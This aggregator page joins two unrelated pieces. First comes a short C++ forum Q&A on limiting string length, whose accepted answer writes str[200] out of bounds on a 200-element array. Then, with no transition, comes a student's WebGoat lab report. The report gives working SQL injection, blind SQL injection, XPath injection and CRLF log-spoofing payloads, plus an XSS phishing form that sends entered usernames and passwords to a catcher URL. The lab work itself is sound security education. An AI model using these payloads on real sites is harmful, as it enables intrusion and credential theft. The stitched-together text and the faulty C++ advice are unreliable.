C++基础求教,如何限制字符串长度

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了C++基础求教,如何限制字符串长度相关的知识,希望对你有一定的参考价值。

使用字符串函数,定义了“string str”,然后如何对字符串str限制长度,比如长度不超过200个字符。?????????

字符串的结束标志是'\0',所以,你可以这样做:
char str[200];
......
if(strlen(str)>200) str[200]='\0';

当然,你也可以在对字符串添加新字符str[i]后,当str的长度小于200时,使用str[i+1]='\0';设置字符串结束标志.
另外,最好是根据实际情况控制好下标,这才是最科学的做法.
这都是常用的方法.
参考技术A 重载string的“=”操作符,在赋值的时候限制长度就行啦追问

能具体点吗?

参考技术B string有length属性吧,限制一下,应该可以吧

Exp9 web安全基础

一、基础问题回答

(1)SQL注入攻击原理,如何防御

原理:

程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者利用SQL命令欺骗服务器执行恶意的SQL命令,获得某些他想得知的数据。

防御:

就像我们上次做实验对网页登陆的账户做了密码长度的限制,可以限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入,把用户输入的or, –,\';等关键字和特殊字符都过滤了,大不了抛出异常而已呗…… 或者用语言内建的安全机制(比如说 JDBC 的PreparedStatement就可以很大程度的防止 SQL 注入)

(2)XSS攻击的原理,如何防御
原理:

XSS攻击全称跨站脚本攻击,也由于没有对用户输入数据的合法性进行判断,攻击者在网页上插入恶意代码,攻击用户。

防御:

与防御SQL注入一样,可以通过检查用户的输入字符串,并做出限制。

(3)CSRF攻击原理,如何防御
原理:

跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。

防御:

使用验证码,表单中附加随机值,以此来防止冒充。

二、环境配置

真的是前人栽好树,后人好乘凉呀,只需要去杨正晖同学的百度云里下载7.1版本的webgoat然后拷贝到虚拟机里就可以用,之前我也下载了8.0版本的,结果他的答题模式是不一样,所以就放弃了 。

将7.1版本的webgoat下载好之后拷贝到虚拟机中,打开终端进入该目录输入
java -jar webgoat-container-7.0.1-war-exec

然后打开浏览器在地址栏输入localhost:8080/WebGoat即可进入webgoat登录界面=-=
用默认帐号和密码即可登录。

三、实践过程

在这之前需要将自己的火狐浏览器稍微优化一下。。。。比如把浏览器调成中文,给浏览器加装两个插件可以翻译网页和取词翻译,当然这个在国内可能不太友好要翻墙。。。当我没说哈哈哈哈哈

不过好像没什么用,太慢了,国内不支持。

1. Injection Flaws——Numeric SQL Injection

原理大概就是要修改一下输入操作,这里kali上有自带的开发人员工具调试。要改的地方有两处第一个是SELECT * FROM weather_data WHERE station = [station]拦截报文将station字段后补充成一个永真式101 OR 1=1。于是整个语句就变成了SELECT * FROM weather_data WHERE station = 101 OR 1=1

第二处要改的是这里,加一个恒等式就行

然后就可以看到所有城市的天气。。。

2.Injection Flaws——Log Spoofing

日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入

zh%0d%0aLogin Succeeded for username: admin
其中%0d和%0a为CRLF换行符

则可以看到输出为:

第二行就是成果

3.Injection Flaws——XPATH Iniection

题目意思是下面的表格允许员工查看他们所有的个人资料,包括他们的薪水。你的账户是迈克/ test123。你的目标是尝试查看其他员工的数据。

解决方法是构造一个永真式
zwy\' or 1=1 or \'a\'=\'a

4.Injection Flaws——LAB:SQL Injection Stage1:String SQL Injection

使用String SQL注入来绕过身份验证。
1.以用户Neville登录,在密码栏中输入\' or 1=1 --
永真式进行SQL注入,但是会发现登录失败。我们通过控制台修改一下password的长度为50,再次登陆。

5.Injection Flaws——LAB:SQL Injection Stage1:Numeric SQL Injection

该题目的目的是通过注入语句,浏览到原本无法浏览的信息。绕过认证执行SQL注入,通过一个普通员工的账户larry,浏览其BOSS的账户信息。

通过SQL注入登录进去Larry用户(注意:网页刷新需要重新修改password的长度)

将value的值改成101 or 1=1 order by salary desc --,这样做的目的是通过薪水排行将老板放到第一个

点击ViewProfile进入,即可查看老板相关信息。

6.Injection Flaws——Blind Numberic SQL Injection

数字盲注
题目中说明了下面的表单允许用户输入帐号并确定它是否有效,即返回值只有账户有效或无效两种。
1.先输入101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 4000);,结果是
Account number is valid.账户有效,再试试

2.再输入101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 2500 );,结果是

Invalid account number.,账户无效。也就是说,我们要找的数在2000~2500之间

3.利用二分法,多次尝试,找到数字为2364

7.Injection Flaws——Blind String SQL Injection

和上一题一样,只是由猜数字变成猜字符方法类似,难度加深

1.输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=\'4321432143214321\'), 1, 1) >\'z\' );
进行猜解,发现结果为Account number is valid,账户有效。

再往大写的字母猜测,最终确定首字母为J

2.接下来猜第二个字母
输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=\'4321432143214321\'), 2, 1) >\'h\' );发现结果为Account number is valid,账户有效。

最后确定第二个字母为i

3.这样一步步尝试,最后确定用户名为Jill

8.Cross-Site Scripting (XSS)——跨站脚本钓鱼攻击(Phishing with XSS)

题目要求是关于一个页面中存在XSS漏洞时,他如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。

1.使用XSS和HTML插入制作一个钓鱼网站,将其输在search框中,代码如下:

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>


2.输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码
3.成功

9.Cross-Site Scripting (XSS)——Stored XSS Attacks

题目的意思是我们要在信息中添加一个html的标签。

在Title里输入“Test Stored XSS”,在 Message里输入<script>alert("20154330zwy!");</script>

10.Cross-Site Scripting (XSS)——Reflected XSS Attacks

当我们输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看:

如果我们将带有攻击性的URL作为输入源,比如<script>alert("20154330zwyyqh");</script>,就会弹出对话框

四、实验总结与体会

这次也谈不上是一次试验,给我的感觉更像是刷题,有难有易,不同类型,不同操作涵盖了web的较多方面,让我们有一个较好的平台去继续了解课程相关的其他方面的东西,感觉还是很不错的。

以上是关于C++基础求教,如何限制字符串长度的主要内容,如果未能解决你的问题,请参考以下文章

求教,信息题目,给出一个字符串,求其不相同的子串个数

输入框如何限制中英字符长度不等?

c++如何获取字节BYTE的长度?

基础练习 字符串对比

oracle限制字符串长度

SQLServer的字段能存储的长度远远达不到该字段的数据类型限制的长度